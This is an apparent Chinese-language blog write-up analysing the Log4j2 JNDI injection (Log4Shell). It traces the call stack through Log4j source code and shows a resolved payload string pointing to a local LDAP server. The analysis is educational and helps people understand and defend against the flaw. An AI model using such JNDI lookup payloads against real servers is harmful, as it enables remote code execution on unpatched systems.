1.简介

这个漏洞也算是一个核弹了。

2.漏洞复现

使用yakit生成一个JNDI注入的payload,然后使用logger.error去触发,导致JNDI注入。漏洞利用较为简单。那么分析一下咯
image.png

3.漏洞分析

我们先看一下他的调用栈。
lookup:172, JndiManager (org.apache.logging.log4j.core.net) lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup) lookup:221, Interpolator (org.apache.logging.log4j.core.lookup) resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup) replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup) format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern) format:38, PatternFormatter (org.apache.logging.log4j.core.pattern) toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout) toText:244, PatternLayout (org.apache.logging.log4j.core.layout) encode:229, PatternLayout (org.apache.logging.log4j.core.layout) encode:59, PatternLayout (org.apache.logging.log4j.core.layout) directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config) callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config) callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config) callAppender:84, AppenderControl (org.apache.logging.log4j.core.config) callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config) processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config) log:481, LoggerConfig (org.apache.logging.log4j.core.config) log:456, LoggerConfig (org.apache.logging.log4j.core.config) log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config) log:161, Logger (org.apache.logging.log4j.core) tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi) logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi) logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi) logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi) logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi) error:740, AbstractLogger (org.apache.logging.log4j.spi) main:8, Test
最后的执行点在JNDIMangager的lookup,标准的jndi注入点。
我们从开头开始分析,我们进入error中,他调用了logIfEnabled.
image.png跟进logIfEnabled,调用了logMessage。跟进调用到了logMessageSafely,继续跟进调用到了logMessageTrakckRecursion.调用了tryLogMessage,跟进调用了log方法。跟进Logger.log,可以看到strategy获取到了DefaultReliabilityStrategy。
在下一行中调用到了DefaultReliabilityStrategy.log.
image.png
image.png
跟进DefaultReliabilityStrategy.log.调用到了LoggerConfig.log。
在LoggerConfig中调用到了另外一个log方法。跟进查看调用了processLogEvent,继续跟进调用了callAppenders.调用到了AppenderControl.callAppenders.
在callAppenderPreventRecursion传入event。在callAppenderPreventRecusion中调用了callAppender0(event),在callAppender0中调用到了tryCallAppender,往tryCallAppender中传入了event.使用appender.append中传入event.进入到AbstractOutputStreamAppender.append。往tryAppend中传入event.传递给了directEncodeEvent。跟进之后,发现他将event传给了getLayout().encode(event,manager);跟进。
发现,是在toText中触发的jdni注入。

public void encode(final LogEvent event, final ByteBufferDestination destination) {
    if (!(eventSerializer instanceof Serializer2)) {
        super.encode(event, destination);
        return;
    }
    final StringBuilder text = toText((Serializer2) eventSerializer, event, getStringBuilder());
    final Encoder<StringBuilder> encoder = getStringBuilderEncoder();
    encoder.encode(text, destination);
    trimToMaxSize(text);
}

跟进toText。发现调用了srializer.toSerializable,传入了event和destination.
看起来像是与序列化相关的方法。

private StringBuilder toText(final Serializer2 serializer, final LogEvent event,
                             final StringBuilder destination) {
    return serializer.toSerializable(event, destination);
}

我们跟进serializer.toSerializable。这边的for循环主要是用于拼接语句。拼接之后进入format.

public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
    final int len = formatters.length;
    for (int i = 0; i < len; i++) {
        formatters[i].format(event, buffer);
    }
    if (replace != null) { // creates temporary objects
        String str = buffer.toString();
        str = replace.format(str);
        buffer.setLength(0);
        buffer.append(str);
    }
    return buffer;
}

我们跟进format.发现有一个转换操作。

public void format(final LogEvent event, final StringBuilder buf) {
    if (skipFormattingInfo) {
        converter.format(event, buf);
    } else {
        formatWithInfo(event, buf);
    }
}

跟进converter.format.里面有一个判断逻辑,如果第一位是$第二位是{那么就会进入该if判断。将jndi注入的值传入到value中。

if (config != null && !noLookups) {
    for (int i = offset; i < workingBuilder.length() - 1; i++) {
        if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
            final String value = workingBuilder.substring(offset, workingBuilder.length());
            workingBuilder.setLength(offset);
            workingBuilder.append(config.getStrSubstitutor().replace(event, value));
        }
    }
}

跟进replace。在replace中的substitute中对我们传入的数据有所处理。

public String replace(final LogEvent event, final String source) {
    if (source == null) {
        return null;
    }
    final StringBuilder buf = new StringBuilder(source);
    if (!substitute(event, buf, 0, source.length())) {
        return source;
    }
    return buf.toString();
}

我们可以跟进查看。

private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
                       List<String> priorVariables) {
    final StrMatcher prefixMatcher = getVariablePrefixMatcher();
    final StrMatcher suffixMatcher = getVariableSuffixMatcher();
    final char escape = getEscapeChar();
    final StrMatcher valueDelimiterMatcher = getValueDelimiterMatcher();
    final boolean substitutionInVariablesEnabled = isEnableSubstitutionInVariables();

    final boolean top = priorVariables == null;
    boolean altered = false;
    int lengthChange = 0;
    char[] chars = getChars(buf);
    int bufEnd = offset + length;
    int pos = offset;
    while (pos < bufEnd) {
        final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
        if (startMatchLen == 0) {
            pos++;
        } else // found variable start marker
            if (pos > offset && chars[pos - 1] == escape) {
                // escaped
                buf.deleteCharAt(pos - 1);
                chars = getChars(buf);
                lengthChange--;
                altered = true;
                bufEnd--;
            } else {
                // find suffix
                final int startPos = pos;
                pos += startMatchLen;
                int endMatchLen = 0;
                int nestedVarCount = 0;
                while (pos < bufEnd) {
                    if (substitutionInVariablesEnabled
                        && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
                        // found a nested variable start
                        nestedVarCount++;
                        pos += endMatchLen;
                        continue;
                    }

                    endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
                    if (endMatchLen == 0) {
                        pos++;
                    } else {
                        // found variable end marker
                        if (nestedVarCount == 0) {
                            String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
                            if (substitutionInVariablesEnabled) {
                                final StringBuilder bufName = new StringBuilder(varNameExpr);
                                substitute(event, bufName, 0, bufName.length());
                                varNameExpr = bufName.toString();
                            }
                            pos += endMatchLen;
                            final int endPos = pos;

                            String varName = varNameExpr;
                            String varDefaultValue = null;

                            if (valueDelimiterMatcher != null) {
                                final char [] varNameExprChars = varNameExpr.toCharArray();
                                int valueDelimiterMatchLen = 0;
                                for (int i = 0; i < varNameExprChars.length; i++) {
                                    // if there's any nested variable when nested variable substitution disabled, then stop resolving name and default value.
                                if (!substitutionInVariablesEnabled
                                && prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) != 0) {
                                break;
                            }
                                if (valueEscapeDelimiterMatcher != null) {
                                int matchLen = valueEscapeDelimiterMatcher.isMatch(varNameExprChars, i);
                                if (matchLen != 0) {
                                String varNamePrefix = varNameExpr.substring(0, i) + Interpolator.PREFIX_SEPARATOR;
                                varName = varNamePrefix + varNameExpr.substring(i + matchLen - 1);
                                for (int j = i + matchLen; j < varNameExprChars.length; ++j){
                                if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, j)) != 0) {
                                varName = varNamePrefix + varNameExpr.substring(i + matchLen, j);
                                varDefaultValue = varNameExpr.substring(j + valueDelimiterMatchLen);
                                break;
                            }
                            }
                                break;
                            } else if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
                                varName = varNameExpr.substring(0, i);
                                varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
                                break;
                            }
                            } else if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
                                varName = varNameExpr.substring(0, i);
                                varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
                                break;
                            }
                            }
                            }

                                // on the first call initialize priorVariables
                                if (priorVariables == null) {
                                priorVariables = new ArrayList<>();
                                priorVariables.add(new String(chars, offset, length + lengthChange));
                            }

                                // handle cyclic substitution
                                checkCyclicSubstitution(varName, priorVariables);
                                priorVariables.add(varName);

                                // resolve the variable
                                String varValue = resolveVariable(event, varName, buf, startPos, endPos);
                                if (varValue == null) {
                                varValue = varDefaultValue;
                            }
                                if (varValue != null) {
                                // recursive replace
                                final int varLen = varValue.length();
                                buf.replace(startPos, endPos, varValue);
                                altered = true;
                                int change = substitute(event, buf, startPos, varLen, priorVariables);
                                change = change + (varLen - (endPos - startPos));
                                pos += change;
                                bufEnd += change;
                                lengthChange += change;
                                chars = getChars(buf); // in case buffer was altered
                            }

                                // remove variable from the cyclic stack
                                priorVariables.remove(priorVariables.size() - 1);
                                break;
                            }
                                nestedVarCount--;
                                pos += endMatchLen;
                            }
                            }
                            }
                            }
                                if (top) {
                                return altered ? 1 : 0;
                            }
                                return lengthChange;
                            }

在这儿,将jndi注入的语句从${}中提取出来。赋值给varNameExpr.至此,我们的jndi语句就变成了jndi:ldap://127.0.0.1:8085/rHYIdCQc。
跟进到这儿。image.png
往里跟进到resolveVariable,可以看到有一个getvariableResolver的操作。
其实里面就是对可解析的关键词进行匹配用的列表。

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
                                 final int startPos, final int endPos) {
    final StrLookup resolver = getVariableResolver();
    if (resolver == null) {
        return null;
    }
    return resolver.lookup(event, variableName);
}

我们可以看一下此列表
image.png
继续往后走,调用到了resolver.lookup(event,variableName);
我们一步步往里面看。
首先prefix获取到jndi name获取到ldap后面那段。随后,调用到两参的lookup.

public String lookup(final LogEvent event, String var) {
    if (var == null) {
        return null;
    }

    final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
    if (prefixPos >= 0) {
        final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
        final String name = var.substring(prefixPos + 1);
        final StrLookup lookup = strLookupMap.get(prefix);
        if (lookup instanceof ConfigurationAware) {
            ((ConfigurationAware) lookup).setConfiguration(configuration);
        }
        String value = null;
        if (lookup != null) {
            value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
        }

        if (value != null) {
            return value;
        }
        var = var.substring(prefixPos + 1);
    }
    if (defaultLookup != null) {
        return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
    }
    return null;
}

我们跟进两参的lookup。首先是拿到jndi注入的语句。然后获取JndiManager用于lookup,看到下面jndiManager.lookup(jdniName)跟进。

public String lookup(final LogEvent event, final String key) {
    if (key == null) {
        return null;
    }
    final String jndiName = convertJndiName(key);
    try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {
        return Objects.toString(jndiManager.lookup(jndiName), null);
    } catch (final NamingException e) {
        LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);
        return null;
    }
}
public <T> T lookup(final String name) throws NamingException {
    return (T) this.context.lookup(name);
}

标准的jndi注入。
整个过程还算简单。没有说特别复杂的逻辑。
首先判断内容是否具有${}如果有的话,截取${}中的内容,得到我们的恶意payload,然后通过:去分割payload,通过前缀来判断用哪种解析器去lookup。
支持的前缀里面就有jndi。然后就导致了jndi注入。